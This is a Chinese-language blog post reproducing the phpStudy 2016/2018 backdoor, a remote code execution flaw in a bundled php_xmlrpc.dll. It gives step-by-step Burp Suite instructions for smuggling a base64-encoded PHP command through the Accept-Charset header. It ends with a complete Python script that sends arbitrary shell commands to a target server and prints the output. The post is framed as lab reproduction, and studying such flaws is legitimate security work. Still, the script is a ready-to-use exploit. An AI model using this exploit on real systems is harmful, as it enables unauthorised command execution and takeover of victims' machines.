前言
强如phpstudy也会有漏洞,在当时影响蛮大的,今天那就试着来复现一下这个漏洞
一.漏洞描述
RCE漏洞,攻击者可以利用该漏洞执行PHP命令和执行代码,从而控制用户系统,也可以称作phpStudy 后门。
二.漏洞等级
高危
三.影响版本
phpstudy2016
phpstudy2018
四.准备工具
VMware环境
BurpSuite
phpStudy2016
五.查看漏洞点
打开 \phpStudy\php\php-5.2.17\ext\php_xmlrpc.dll 这个文件,找到了这个
@eval(%s('%s'));
eval函数把字符串当成 PHP 代码来执行
六.漏洞复现
这里是在虚拟机上搭的环境,启动phpstudy2016,访问phpinfo.php,可以正常访问
打开burp suite抓包,访问后缀带有.php的文件进行抓包
我们把数据包里的Accept-Encoding: gzip, deflate(deflate前面是有空格的),我们要把空格删掉,然后再加上Accept-Charset: 这个参数,这个参数是我们是我们要执行的命令,但要把命令进行base64编码,查看对方ip
重发数据包,就可看到对方的IP返回了,之后可以执行查看文件的用户命令,这里就不举例了
漏洞利用脚本
import requests
import base64
import sys
url="http://192.168.175.136/phpinfo.php"#url自行更换
cmd=input("Please input command: ")#接受想执行的命令
cmd=base64.b64encode(f"print(shell_exec('{cmd}'));".encode())#base64编码,shell_exec是执行系统命令函数
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0',
"Accept-Encoding":"gzip,deflate",
"Accept-Charset":cmd
}
res=requests.post(url=url, headers=headers)#发送get请求
html=res.content.decode("gb2312")#返回是乱码,解码成中文形式
result=html[0:html.index("<!DOCTYPE html")].strip()#字符串截取
print(result)